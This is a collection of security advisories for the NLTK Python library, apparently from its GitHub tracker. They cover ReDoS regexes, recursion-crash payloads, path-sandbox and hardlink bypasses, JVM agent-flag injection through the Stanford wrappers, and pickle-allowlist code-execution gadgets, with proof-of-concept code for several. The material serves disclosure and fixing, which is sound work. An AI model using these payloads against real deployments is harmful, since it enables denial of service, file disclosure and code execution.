Summary

NLTK's downloader now blocks symlink escapes during ZIP extraction, but it still treats pre-existing hardlinks inside the install tree as ordinary in-root files. A normal package install can therefore overwrite an outside-root inode through that hardlink.

Details

- Vulnerability type: Filesystem containment bypass - Affected component: nltk.downloader.Downloader.download, nltk.downloader.Downloader.incrdownload - Affected versions: Published 3.9.4 and current source v3.10.0-rc2 both reproduced for the extraction-stage overwrite. - Patched versions: 3.10.3 - Root cause: The downloader validates traversal and symlink conditions but does not reject pre-existing hardlink aliases inside the install tree.

The install flow correctly rejects a pre-existing symlink at an extraction target, yet it accepts a pre-existing hardlink at the same path. When the package is installed, extracted member data is written through the hardlink and mutates the outside inode.

PoC

Preconditions - The attacker can plant files inside a writable shared downloader root on the same filesystem as the target file.

Steps 1. Prepare a downloader root and create a hardlink inside it that points to an outside target file. 2. Confirm a symlink at the same path is rejected as a negative control. 3. Run a normal Downloader.download() package install whose extracted member lands on the hardlink path. 4. Observe the outside target file is overwritten while the downloader still reports the package as installed.

Minimal reproducible excerpt

text extracthardlinkbefore ORIGINAL extracthardlinkafter PWNED extracthardlinkstatus installed

Impact

A shared or attacker-influenced downloader directory can be turned into an overwrite primitive against same-filesystem files outside the intended install root.

Remediation

Treat pre-existing hardlinks as unsafe in extraction targets, verify that each write path stays within the intended install tree at the inode level, and add regression tests that pair hardlinks with existing symlink controls.

Summary

Pl196xCorpusReader still parses whole TEI blocks with multiple lazy regexes over attacker-controlled text. A malformed file with many opening tags and no matching closing tags forces repeated rescans and produces quadratic CPU growth in public reader APIs.

Details

- Vulnerability type: Regular-expression denial of service - Affected component: nltk.corpus.reader.pl196x.TEICorpusView.readblock and Pl196xCorpusReader public methods - Affected versions: Published 3.9.4 and current source v3.10.0-rc2 both reproduced. - Patched versions: Not yet patched - Root cause: Lazy .? whole-block regexes rescan untrusted XML-like blocks from each opening-tag position.

The parser uses regexes for paragraphs, sentences, and word tags across the whole <text> block. When the attacker supplies many unmatched opening tags, each attempt scans toward the end of the block and fails, then restarts from the next opening tag. There is near four-times runtime growth each time the number of malformed <p> tags doubled, through normal public calls such as words() and taggedwords().

PoC

Preconditions - The application parses attacker-influenced PL196X or TEI-like corpus files through public reader APIs.

Steps 1. Create a corpus file with a valid header followed by a <text> block that contains many opening tags and no matching closing tags. 2. Instantiate Pl196xCorpusReader on that corpus. 3. Call words() or taggedwords() and measure elapsed time as the malformed tag count doubles. 4. Observe near quadratic growth instead of near-linear behavior.

Minimal reproducible excerpt

text size=1000 0.014s size=2000 0.057s size=4000 0.231s size=8000 0.927s

Impact

A consumer that accepts attacker-influenced corpus files can be forced into heavy CPU use and parser-thread stalling before the application concludes the input contains no valid content.

Remediation

Replace the whole-block lazy-regex parser with a linear parser or bounded tokenizer, and add regression tests that assert near-linear behavior on malformed inputs with many unmatched tags.

Summary

Several model-artifact APIs still treat caller-controlled model paths as ordinary filenames even when NLTK path security is enforced. The same outside-root paths are rejected by guarded helpers, but these public read and write flows still use raw file APIs.

Details

- Vulnerability type: File sandbox bypass - Affected component: TransitionParser.train, TransitionParser.parse, AveragedPerceptron.save, AveragedPerceptron.load, PerceptronTagger.savetojson, savemaxentparams - Affected versions: Published 3.9.4 and current source v3.10.0-rc2 both reproduced. - Patched versions: Not yet patched - Root cause: Model import and export helpers use built-in open() on caller-controlled paths instead of pathsec-aware helpers.

TransitionParser.train() writes outside allowed roots, TransitionParser.parse() reads outside allowed roots, AveragedPerceptron bypasses the sandbox in both directions, and adjacent read-side helpers in the same family already show the intended guarded behavior. I confirmed outside-root reads and writes while pathsec.open() or the guarded sibling helpers rejected the same paths.

PoC

Preconditions - The application enables pathsec enforcement and lets untrusted workflows choose model import or export paths.

Steps 1. Enable pathsec.ENFORCE=True and restrict allowed roots to a dedicated sandbox directory. 2. Use public model import or export APIs with paths that point outside that root. 3. Observe the same paths are rejected by negative-control guarded helpers such as pathsec.open(), PerceptronTagger.loadfromjson(), or loadmaxentparams(). 4. Observe the vulnerable APIs still read or write outside-root files successfully.

Minimal reproducible excerpt

text transitiontrainexists True transitionparseloaderreadbytes 13 averagedloadkeys ['bias'] maxentsave wrote ['alwayson.tab', 'labels.txt']

Impact

Consumers that rely on pathsec for local containment can be tricked into reading or overwriting files outside approved roots through normal model persistence and loading APIs.

Remediation

Route all model-path file access through nltk.pathsec.open() or existing pathsec-aware helpers, and add regression tests that pair each vulnerable API with a negative control on the same path.

Summary

nltk.featstruct.FeatStructReader (used by FeatStruct(str) and by FeatureGrammar.fromstring()) parses feature-structure strings such as [a=1] with a recursive-descent parser that has no nesting-depth limit. A small, trivially-crafted input (~700 bytes) with deeply nested brackets drives the parser past Python's recursion limit and raises an unhandled RecursionError instead of the library's normal, catchable ValueError/LogicalExpressionException. Any application that parses user-supplied feature-structure or feature-grammar text (e.g. NLP teaching tools, grammar "playgrounds", unification-grammar-based NLU pipelines) can be crashed by an unauthenticated input with no special privileges. This is a Denial of Service issue (CWE-674, Uncontrolled Recursion), not a memory-safety or code-execution issue.

This appears to be the same bug class as two issues already fixed elsewhere in the codebase — nltk/jsontags.py (JSONTaggedDecoder.decodeobj, guarded by MAXDECODEDEPTH = 200) and nltk/sem/logic.py (LogicParser, guarded by MAXPARSEDEPTH = 200) — but nltk/featstruct.py does not have an equivalent guard.

Details

The recursive call chain (current develop branch, nltk/featstruct.py):

1. FeatStructReader.fromstring() (featstruct.py:2184) calls readpartial() → readpartial() (featstruct.py:2250). 2. readpartial() dispatches to readpartialfeatdict(), which calls readvalue() (featstruct.py:2436) for each feature's value. 3. readvalue() calls readvalue() (featstruct.py:2442), which matches the value against VALUEHANDLERS (featstruct.py:2478). 4. If the value itself starts with (a nested feature structure), the matched handler is readfstructvalue ([featstruct.py:2479, defined at featstruct.py:2495): python def readfstructvalue(self, s, position, reentrances, match): return self.readpartial(s, position, reentrances) This calls readpartial() again, which re-enters readpartial() — the same function from step 1.

This closes a recursive cycle (readpartial → readvalue → readvalue → readfstructvalue → readpartial → readpartial → ...) with no depth counter, no MAXDEPTH constant, and no try/except RecursionError anywhere in the class. Each additional [ in the input adds one more full cycle of Python stack frames. Once the input nests deeply enough, Python's own recursion-limit protection fires and raises RecursionError, which is not a subclass of ValueError (the exception type this parser's own error() helper raises for normal, well-formed parse errors) and therefore propagates uncaught through this API.

For comparison, nltk/sem/logic.py's LogicParser was hardened against exactly this class of issue: python #: Maximum expression-nesting depth the recursive-descent parser will #: descend to. Deeply nested input would otherwise recurse until Python #: raises an uncaught RecursionError and crashes the caller #: (uncontrolled recursion, CWE-674); past this depth a normal #: LogicalExpressionException is raised instead. Configurable. MAXPARSEDEPTH = 200 (nltk/sem/logic.py:102-107), and nltk/jsontags.py's JSONTaggedDecoder similarly has MAXDECODEDEPTH = 200 with an explicit depth check. nltk/featstruct.py has no analogous protection.

FeatureGrammar.fromstring() (nltk/grammar.py) parses feature structures embedded in FCFG grammar rules via the same FeatStructReader, so the same crash is reachable through grammar-string parsing as well as through FeatStruct() directly.

PoC

Verified against the current develop branch in a clean virtualenv (Python 3.12, NLTK installed from this checkout via pip install -e .):

python from nltk.featstruct import FeatStruct

depth = 167 payload = "[a=" depth + "1" + "]" depth # 669 bytes FeatStruct(payload)

Result: Traceback (most recent call last): ... File ".../nltk/featstruct.py", line 2310, in readpartialfeatdict value, position = self.readvalue(name, s, position, reentrances) File ".../nltk/featstruct.py", line 2440, in readvalue return self.readvalue(s, position, reentrances) File ".../nltk/featstruct.py", line 2446, in readvalue return handlerfunc(s, position, reentrances, match) [... repeats ~167 times ...] RecursionError: maximum recursion depth exceeded

- Crash threshold: nesting depth 167 (binary-searched between 50 and 200). - Payload size: 669 bytes — fits trivially in a single HTTP request body/query parameter. - Time to crash: <2ms — no resource exhaustion is needed, only recursion depth.

Minimal reproduction (no server required): bash python3 -c " from nltk.featstruct import FeatStruct FeatStruct('[a=' 200 + '1' + ']' 200) "

Illustrative server-side context (not part of NLTK itself, but representative of how the bug becomes reachable): python from flask import Flask, request from nltk.featstruct import FeatStruct

app = Flask(name)

@app.route("/parse", methods=["POST"]) def parsegrammar(): return {"result": str(FeatStruct(request.json["grammar"]))} A POST of {"grammar": "[a=" 200 + "1" + "]" 200} to this endpoint raises the uncaught RecursionError inside the request handler.

Impact

Vulnerability type: Denial of Service via uncontrolled recursion (CWE-674). This is not a memory-corruption bug and does not lead to code execution or data disclosure — Python's own recursion-limit safety net converts what would be a C-level stack overflow into a catchable (but here, uncaught) RecursionError.

Who is affected: Any application that passes externally-supplied text into nltk.featstruct.FeatStruct() or nltk.grammar.FeatureGrammar.fromstring() — for example, NLP/computational-linguistics teaching tools, unification-grammar demo services, or NLU pipelines that accept user-authored feature grammars. This is a narrower slice of NLTK's user base than, e.g., tokenization or POS tagging, since feature-structure/unification-grammar parsing is a more specialized part of the library.

Practical severity depends on deployment: - In typical WSGI-style web frameworks (Flask/Django/FastAPI behind gunicorn/uwsgi), an uncaught exception inside a request handler is caught at the framework/server boundary: the single request fails (HTTP 500), the worker process itself survives, and unaffected requests are unimpacted. - In single-threaded or per-task-unprotected contexts (e.g. a queue-consuming worker without per-task exception isolation), the uncaught RecursionError can terminate the entire process; without a process supervisor that auto-restarts it, this is a persistent outage until manually restarted. An attacker who repeats the payload can keep such a worker in a crash loop for as long as the attack continues.

Suggested fix: Add a depth counter and a MAXPARSEDEPTH-style constant to FeatStructReader, mirroring the existing fix in nltk/sem/logic.py, and raise the library's normal ValueError-based parse error once the limit is exceeded instead of letting RecursionError propagate.

nltk.stem.PorterStemmer.stem() -- a ubiquitous public API applied to arbitrary, often untrusted, tokens -- runs in O(n^2) time on a token containing a long run of the letter 'y', letting a single ~20-50 KB token pin a CPU core (CWE-407).

Root cause

isconsonant(word, i) was made iterative (commit for #3633, GHSA/CWE-674) to fix an earlier unbounded-recursion RecursionError on 'y'10000. The iterative form walks backward over the whole run of 'y's on every call:

python while i > 0 and word[i] == 'y': negate = not negate i -= 1

measure() then calls isconsonant(stem, i) once for every position i of the stem. For a run of n 'y's that is sum{i} O(i) = O(n^2). The recursion fix therefore traded a CWE-674 RecursionError for a CWE-407 quadratic-time DoS.

Proof of concept

Measured (Python 3.13): stem('y'5000 + 'ness') = 2.6s, stem('y'10000 + 'ness') = 11.3s (2x input -> ~4.3x time = quadratic), stem('y'20000 + 'ness') > 20s. A pure run of 'y' with no matching suffix is fast because the stemmer rules that call measure do not fire; a real suffix such as 'ness' triggers measure on the long stem.

python from nltk.stem import PorterStemmer PorterStemmer().stem('y' 20000 + 'ness') # >20s of CPU

Impact

Stemming is routinely applied to untrusted text (search, indexing, NLP pipelines). A single unbroken ~20-50 KB token of 'y' characters (no whitespace, so it survives tokenization) causes multi-second-to-minutes CPU consumption per request. No confidentiality/integrity impact; single-process availability only.

Fix direction

Classify each character's consonant/vowel status in a single left-to-right O(n) pass (memoise the 'y' run parity) instead of re-walking the run on every isconsonant call, so measure and stemming are linear. This is a sibling of the corpus-reader quadratic advisories GHSA-vp2x-qp44-57v7 and GHSA-8mpw-7fpc-4gqj (CWE-407).

Summary The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.

Affected Code nltk/tgrep.py — tgrepnodeaction() (around line 320)

When a tgrep pattern contains a /regex/ node, tgrepnodeaction compiles the embedded regex literal directly with no validation:

python def tgrepnodeaction(s, l, tokens): ... elif tokens[0].startswith("/"): assert tokens[0].endswith("/") nodelit = tokens[0][1:-1] return ( lambda r: lambda n, m=None, l=None: r.search( tgrepnodeliteralvalue(n) ) )(re.compile(nodelit)) # User regex compiled and executed with no timeout The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgreppositions() or tgrepcompile() controls nodelit entirely.

Proof of Concept python import nltk from nltk.tgrep import tgreppositions

Root node label is 25 'a' characters. tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a") No 'b' is present — exponential backtracking occurs. tree = nltk.Tree.fromstring("(" + "a" 25 + " (NP (DT the)))") tgreppositions(r"/((a+)+)b/", [tree]) # Never returns

Working Poc

The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgreppositions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.

python import nltk from nltk.tgrep import tgreppositions import time

def testn(n): tree = nltk.Tree.fromstring("(" + "a" n + " (NP (DT the)))") pattern = r"/((a+)+)b/" start = time.perfcounter() list(tgreppositions(pattern, [tree])) return time.perfcounter() - start

if name == "main": # Adjust the range if needed – these values complete quickly nvalues = [18, 20, 22, 24, 26, 28] print(f"Testing n = {nvalues}\n")

times = [] for n in nvalues: t = testn(n) times.append((n, t)) print(f"n={n:2d} done", flush=True)

print("\n--- Increase factors (per step in n) ---") factors = [] for i in range(1, len(times)): prevn, prevt = times[i-1] currn, currt = times[i] factor = currt / prevt factors.append((currn, factor)) print(f"n={currn:2d} : factor = {factor:.2f}x (vs n={prevn})")

avg = sum(f for , f in factors) / len(factors) print(f"\nAverage factor: {avg:.2f}x") print("\n✅ Confirmed: exponential growth (catastrophic backtracking).") print(" Larger n (≥ 35) will hang indefinitely.")

When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.

Impact In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.

Remediation This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.

Credit Tool: Kira by Offgrid Security

Summary NLTK's Text.findall() and TokenSearcher.findall() methods accept user-supplied regular expressions and pass them to the Python re engine without timeout or validation, enabling catastrophic backtracking (ReDoS). This issue is isolated to the nltk.text module and was resolved in a prior commit.

Affected Code nltk/text.py — TokenSearcher.findall() (line 255) / Text.findall() (line 620)

TokenSearcher.init builds an internal string by wrapping each token in angle brackets. The findall() method preprocesses the caller-supplied regexp and runs it directly against this string with no timeout:

python def findall(self, regexp): # Preprocessing does NOT prevent catastrophic backtracking regexp = re.sub(r"\s", "", regexp) regexp = re.sub(r"<", "(?:<(?:", regexp) regexp = re.sub(r">", ")>)", regexp) regexp = re.sub(r"(?<!\\)\.", "[^>]", regexp)

# User-controlled regexp executed with no timeout hits = re.findall(regexp, self.raw) The preprocessing transforms < and > angle-bracket syntax but does not inspect or reject catastrophically backtracking patterns.

Proof of Concept python import nltk import time

Token of 25 'a' characters produces self.raw = "<aaaaaaaaaaaaaaaaaaaaaaaa!>" The trailing '!' ensures no match, forcing full backtracking. text = nltk.Text(["a" 25 + "!"])

Pattern after transformation: < → (?:<(?: → )>) Becomes: (?:<(?:((a+)+)b)>) re.findall runs this against "<aaaaaaaaaaaaaaaaaaaaaaaa!>" — hangs.

start = time.time() text.findall(r"<((a+)+)b>") # Never returns

Impact Applications that expose Text.findall() to external input are vulnerable to a denial of service. An unauthenticated attacker can cause indefinite CPU saturation with one request, denying service to all other users of the Python process.

Remediation This vulnerability was patched in commit d8e4753. Users should update to the patched version.

Credit Tool: Kira by Offgrid Security

Summary

Several corpus readers still step outside NLTK's symlink-aware trusted-root model. They derive in-root paths from trusted corpus state, convert those paths back into plain strings, and reopen them with built-in open() rather than nltk.pathsec.open().

Details

- Vulnerability type: Path traversal and symlink boundary bypass - Affected component: nltk.corpus.reader.ipipan, nltk.corpus.reader.crubadan, nltk.corpus.reader.lin - Affected versions: Published 3.9.4 and current source v3.10.0-rc2 both reproduced. - Patched versions: Not yet patched - Root cause: Root-derived paths are reopened with raw open() without preserving the trusted-root boundary.

IPIPANCorpusReader opens header.xml derived from morph.xml, CrubadanCorpusReader opens table.txt directly, and LinThesaurusCorpusReader opens simN.lsp paths returned from its own root helpers. Under pathsec.ENFORCE=True, a symlink placed inside the trusted corpus root can point outside the root and still be parsed successfully. It was confirmed parsed outside-root content is returned through public methods such as channels(), domains(), categories(), langs(), crubadantoiso(), synonyms(), and scoredsynonyms().

PoC

Preconditions - The application processes attacker-influenced corpora inside a trusted NLTK data root or trusted corpus directory.

Steps 1. Create a trusted corpus root and keep pathsec.ENFORCE=True with that root allowlisted. 2. Place symlinked reader inputs such as header.xml, table.txt, or simN.lsp inside the root and point them to external files. 3. Instantiate the corresponding corpus reader and call its normal public methods. 4. Observe that parsed outside-root values are returned even though pathsec.open() blocks the same symlink targets.

Minimal reproducible excerpt

text {'ipipan': ['LEAK', 'TOPSECRET', 'CLASSIFIED'], 'crubadan': ['LEAK'], 'lin': [('LEAK', 9.5)]}

Impact

An attacker who can stage corpus files or symlinks under a trusted data root can disclose outside-root content through normal corpus-reader results, defeating the boundary NLTK documents for shared and untrusted-input environments.

Remediation

Preserve PathPointer and requiredroot semantics end to end. Replace direct open() calls with nltk.pathsec.open() or a reader helper that keeps the trusted-root boundary intact.

References

- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/ipipan.py#L162-L192 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/crubadan.py#L74-L98 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/lin.py#L40-L43 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/pathsec.py#L521-L545

---

Fix + full-codebase audit (verified)

I swept every raw file open in the corpus readers, not just the three the umbrella named:

| Reader | Site | Advisory | Root scoping | |---|---|---|---| | crubadan | table.txt + <code>-3grams.txt | p4rw / j5pw | requiredroot=self.root | | lin | simN.lsp | p4rw | requiredroot=self.root | | xmldocs | XMLCorpusView bare-string fileid | 934p (base reader) | global fallback (view has no root) | | pl196x | textids index | found by audit | requiredroot=self.root | | mte | MTEFileReader | mvf5 | requiredroot threaded through 8 call sites | | toolbox | StandardFormat.open codecs.open | cr8c | global sandbox (low-level parser) | | namedentity | loadacefile ann/text | 7qj2 | global sandbox | | nkjp | XMLTool source file | p4rw class | requiredroot=self.root |

ipipan already validates via the earlier #3727 fix — unchanged.

Fix Each site now calls nltk.pathsec.validatepath(path, requiredroot=…) before opening. Where the reader has a concrete corpus root, the check is scoped with requiredroot (rejects any escape outside that root). XMLCorpusView carries no root, so it falls back to the global data-root sandbox via getattr(self, "root", None) — which also avoids an AttributeError on the bare-string path.

Reproduced (captured) raw open(symlink) reads: 'TOPSECRETOUTSIDEROOT' <- the bypass validatepath(symlink, requiredroot): ValueError -> BLOCKS the escape validatepath(legit in-root): PASSED <- loads normally

Honest residual The global-sandbox fallback (toolbox, namedentity, xmldocs-view) is only as tight as the allowed-roots list, which currently includes the system temp dir. Scoping every reader with requiredroot and removing the temp dir from the allowed roots would harden it further (separate advisory / task).

Tests testcorpusreaderpathsec.py — symlink escape rejected, in-root file allowed, XMLCorpusView string-fileid no AttributeError, MTEFileReader out-of-root rejected. 46 existing corpus/toolbox tests pass; all edited modules import (no circular import). pre-commit (black/isort/ruff) clean.

---

Scope caveat validatepath blocks every symlink escape variant (verified) and equals pathsec.open()'s guarantee, but does NOT block hardlinks (no symlink to resolve; tracked separately as GHSA-f794-5jv7-7672) or the validate-then-open TOCTOU race (shared by pathsec.open; needs ONOFOLLOW/openat).

Vulnerability

The fix for CVE-2026-12841 (CWE-88, JVM argument injection) added validatejavaoptions() to block dangerous JVM flags such as -agentlib, -agentpath, -javaagent, -Xrunjdwp, and @argfile references. However, the validation is only applied when setting global options via configjava(). The java() function's per-call options parameter -- added by PR #3683 (CVE-2026-12615 fix) -- passes options directly to subprocess.Popen without calling validatejavaoptions().

All four Stanford Java wrapper classes accept user-supplied javaoptions and route them through the unvalidated per-call path, bypassing the CVE-2026-12841 fix entirely.

Root Cause

In nltk/internals.py, the java() function (line 128) accepts an options keyword argument. When options is not None, it is converted to a list and prepended to the JVM command (lines 211-217) without any validation:

python nltk/internals.py, lines 211-217 (HEAD) if options is None: javaoptions = javaoptions # validated by configjava() else: if isinstance(options, str): options = options.split() javaoptions = list(options) # NO validation cmd = [javabin] + javaoptions + cmd

Compare with configjava() (line 92) which does validate:

python nltk/internals.py, lines 122-123 validatejavaoptions(options) javaoptions[:] = options

The four affected wrapper classes store user-supplied javaoptions without validation and pass them through the unvalidated per-call path:

1. GenericStanfordParser (nltk/parse/stanford.py): constructor parameter at line 39, stored at line 78, passed at lines 247 and 256 2. StanfordTagger (nltk/tag/stanford.py): constructor parameter at line 51, stored at line 79, passed at line 118 3. StanfordTokenizer (nltk/tokenize/stanford.py): constructor parameter at line 43, stored at line 66, passed at line 109 4. StanfordSegmenter (nltk/tokenize/stanfordsegmenter.py): constructor parameter at line 68, stored at line 117, passed at line 337

Proof of Concept

python from nltk.internals import configjava, java, validatejavaoptions

1. The global configjava() path correctly blocks dangerous flags: try: configjava(options=["-agentpath:/tmp/evil.so"]) except ValueError as e: print(f"configjava blocked: {e}") # blocked as expected

2. The per-call options path does NOT block them: (Would execute if Java were installed) java(["SomeClass"], classpath=".", options=["-agentpath:/tmp/evil.so"]) This passes "-agentpath:/tmp/evil.so" directly to subprocess.Popen

3. Stanford wrapper classes pass through without validation: from nltk.parse.stanford import StanfordParser parser = StanfordParser(javaoptions="-agentpath:/tmp/evil.so") parser.parse(...) # dangerous flag reaches JVM

Verify the gap directly: dangerousopts = ["-agentpath:/tmp/evil.so"] try: validatejavaoptions(dangerousopts) print("Would have been caught") except ValueError: print("Correctly rejected by validatejavaoptions()")

But java() itself never calls validatejavaoptions(): import inspect source = inspect.getsource(java) assert "validatejavaoptions" not in source, "java() does not validate options" print("Confirmed: java() does not call validatejavaoptions()")

Impact

An attacker who controls the javaoptions parameter to any NLTK Stanford wrapper class can inject arbitrary JVM flags, including:

- -agentpath:/path/to/malicious.so -- loads a native agent, achieving arbitrary code execution - -javaagent:/path/to/malicious.jar -- loads a Java agent for bytecode manipulation - -agentlib:jdwp=transport=dtsocket,server=y,address=:5005 -- enables remote debugging, allowing remote code execution - @/path/to/argfile -- expands an argument file, which can smuggle any of the above

This is exploitable in scenarios where NLTK is deployed as a service and javaoptions is derived from user input, configuration files, or environment variables. The PR #3647 commit message explicitly states the fix was intended to cover "StanfordSegmenter, and GenericStanfordParser" but the implementation only validates in configjava().

Suggested Fix

Add validatejavaoptions() to the java() function's per-call options handling:

python nltk/internals.py, in the java() function if options is None: javaoptions = javaoptions else: if isinstance(options, str): options = options.split() javaoptions = list(options) validatejavaoptions(javaoptions) # ADD THIS LINE cmd = [javabin] + javaoptions + cmd

This single-line addition closes the bypass for all four Stanford wrapper classes and any future callers of java(options=...).

AI tooling

AI assistance was used for the code audit and for drafting this report. The finding were manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are the reporters.

Summary

NLTK corpus-reader constructors can still reach outside-root file and database reads before the nltk.pathsec sandbox boundary is enforced.

The PoC shows the safe path blocked by pathsec.open, then LinThesaurusCorpusReader and PanLexLiteCorpusReader succeeding in the same process.

Affected Product

- Product: NLTK - Asset / component: nltk.corpus.reader constructors - Version tested: 3.10.2 - Deployment / package / tag: commit 474af1f5a94b1b8d53fc2b6defec3a2ce7633b74 / PyPI nltk - Environment used for verification: Python 3.13.14

Vulnerability Details

- Vulnerability class: path sandbox bypass / external control of file path - Required privileges: none beyond the ability to supply a corpus root path to a consumer call site - Entry point: LinThesaurusCorpusReader(root) and PanLexLiteCorpusReader(root) - Trust boundary crossed: NLTK data-root sandbox enforced by nltk.pathsec - Root affected functions: - CorpusReader.init - LinThesaurusCorpusReader.init - PanLexLiteCorpusReader.init - Measured unsafe effect: outside-root file/database reads still happen with ENFORCE=True

Root Cause

CorpusReader.init() turns a string root into a FileSystemPathPointer without any pathsec validation, and these readers then use builtin open() or sqlite3.connect() directly on derived paths. The constructor path therefore never hits the sandbox guard that pathsec.open() enforces.

python if zipfile: root = ZipFilePathPointer(zipfile, zipentry) else: root = FileSystemPathPointer(root)

with open(path) as linfile: ...

self.c = sqlite3.connect(os.path.join(root, "db.sqlite")).cursor()

Proof of Concept

Save the script as hy01rawpathpoc.py in the checkout root and run python hy01rawpathpoc.py.

python #!/usr/bin/env python3 """PoC for HY-01: corpus-reader sandbox bypass.

This script proves three facts: - pathsec blocks a direct read through the sandboxed file API - LinThesaurusCorpusReader still reaches builtin open() on an outside path - PanLexLiteCorpusReader still opens an outside sqlite database and loads data """

from future import annotations

import builtins import pathlib import sqlite3 import sys import tempfile from unittest.mock import patch

try: import nltk.pathsec as pathsec from nltk.corpus.reader.lin import LinThesaurusCorpusReader from nltk.corpus.reader.panlexlite import PanLexLiteCorpusReader except ModuleNotFoundError: here = pathlib.Path(file).resolve() for base in (here.parent, here.parents): if (base / "nltk").isdir() and (base / "setup.py").exists(): sys.path.insert(0, str(base)) break else: raise RuntimeError( "Could not import nltk. Run this script from an NLTK checkout root " "or from an environment where the current checkout is installed." )

import nltk.pathsec as pathsec from nltk.corpus.reader.lin import LinThesaurusCorpusReader from nltk.corpus.reader.panlexlite import PanLexLiteCorpusReader

def main() -> int: pathsec.ENFORCE = True

with patch.object(pathsec, "getallowedroots", lambda: set()): with patch.object(pathsec.os, "getcwd", lambda: "sandbox-disabled"): with tempfile.TemporaryDirectory() as tmp: tmpdir = pathlib.Path(tmp) outside = tmpdir / "outside" outside.mkdir()

blockedfile = outside / "blocked.txt" blockedfile.writetext("blocked", encoding="utf-8")

controltarget = str(blockedfile) try: with pathsec.open(controltarget, "rb"): raise AssertionError( "pathsec.open unexpectedly allowed control path" ) except PermissionError: print("control:pathsec.open=blocked")

linroot = tmpdir / "lin" linroot.mkdir() linfile = linroot / "simN.lsp" linfile.writetext( '("business" (desc 1.0)\n\t"enterprise"\t0.9\n))\n', encoding="utf-8", )

opened = [] realopen = builtins.open

def trackingopen(args, kwargs): opened.append(str(args[0])) return realopen(args, kwargs)

with patch("builtins.open", trackingopen): LinThesaurusCorpusReader(str(linroot))

if any(p.endswith("simN.lsp") for p in opened): print("lin:outsiderootopen=success") else: raise AssertionError("LinThesaurusCorpusReader did not open data")

panlexroot = tmpdir / "panlex" panlexroot.mkdir() dbpath = panlexroot / "db.sqlite" db = sqlite3.connect(dbpath) cur = db.cursor() cur.execute("create table lv(uid text, lv text, lc text, tt text)") cur.execute("create table dnx(ex int, mn int, uq int, ap int, ui text)") cur.execute("create table ex(ex int, tt text, lv text, uq int)") cur.execute( "insert into lv(uid, lv, lc, tt) values ('u1', 'lv1', 'en', 'English')" ) db.commit() db.close()

reader = PanLexLiteCorpusReader(str(panlexroot)) result = reader.languagevarieties() if result == [("u1", "English")]: print("panlex:languagevarieties=success") else: raise AssertionError("PanLexLiteCorpusReader did not load data")

return 0

if name == "main": raise SystemExit(main())

Expected output:

control:pathsec.open=blocked lin:outsiderootopen=success panlex:languagevarieties=success Impact

A caller can make NLTK read filesystem content outside the intended NLTK data sandbox through public corpus-reader constructors. In the PoC, that includes a local text file and a local SQLite db.

Severity

- Base Score: 7.5 (High) - Severity reasoning: The bug is reliably triggerable by caller-controlled path input and exposes data outside the intended trust boundary; no special privileges are needed inside the process.

Remediation

Validate raw string roots before constructing readers, and route all corpus-root/path handling through pathsec or a validated PathPointer. Remove direct builtin open() and direct sqlite3.connect(os.path.join(...)) use on constructor-derived paths.

Summary

The current source tree still allows arbitrary code execution during supposedly safer allowlisted pickle loading. The allowlist trusts whole module namespaces instead of exact safe globals, so crafted pickles can invoke dangerous in-namespace callables through pickle REDUCE.

Details

- Vulnerability type: Remote code execution via unsafe deserialization - Affected component: nltk.picklesec.allowlistedpickleload, nltk.tokenize.punkt.punktpickleload, nltk.parse.transitionparser.TransitionParser.parse - Affected versions: Current source v3.10.0-rc2; published 3.9.4 was not the claim target for this bypass. - Patched versions: Not yet patched - Root cause: Module-prefix allowlists include dangerous callables such as nltk.tokenize.repp.ReppTokenizer.execute and numpy.f2py.crackfortran.myeval.

punktpickleload() allowlists both nltk.tokenize.punkt and the whole nltk.tokenize namespace, which exposes ReppTokenizer.execute() and its subprocess.Popen(...) sink during unpickling. TransitionParser.parse() uses allowlistedpickleload(..., allowedmodules=("numpy", "scipy", "sklearn")), which permits numpy.f2py.crackfortran.myeval() and its attacker-controlled eval(...) path. I confirmed both gadgets create marker files before the caller returns or later aborts on type misuse.

PoC

Preconditions - The application loads an attacker-controlled tokenizer or model artifact through these public loaders.

Steps 1. Create a pickle whose REDUCE callable is ReppTokenizer.execute and point its command to a harmless marker-file write. 2. Pass that payload to punktpickleload(BytesIO(payload)) and observe the marker file is created during unpickling. 3. Create a second pickle whose REDUCE callable is numpy.f2py.crackfortran.myeval and load it through TransitionParser.parse(). 4. Observe the second marker file is created before TransitionParser.parse() later fails on the returned object type.

Minimal reproducible excerpt

text {'punktmarker': 'PUNKTRCE', 'transitionparsermarker': 'TPRCE'}

Impact

Any caller that trusts these current allowlisted loaders can still execute attacker-controlled commands while loading model or tokenizer artifacts. This defeats the protection mechanism that replaced unrestricted pickle loading and creates a dangerous false sense of safety.

Remediation

Replace broad module-prefix allowlists with exact (module, qualname) pairs for the few safe classes or functions genuinely required. Do not allow entire namespaces such as nltk.tokenize or numpy, and keep post-load type validation only as a secondary defense.

Resources

- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/punkt.py#L120-L134 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/repp.py#L111-L115 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L26-L30 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L565-L571

---

Fix + attack demonstration (verified)

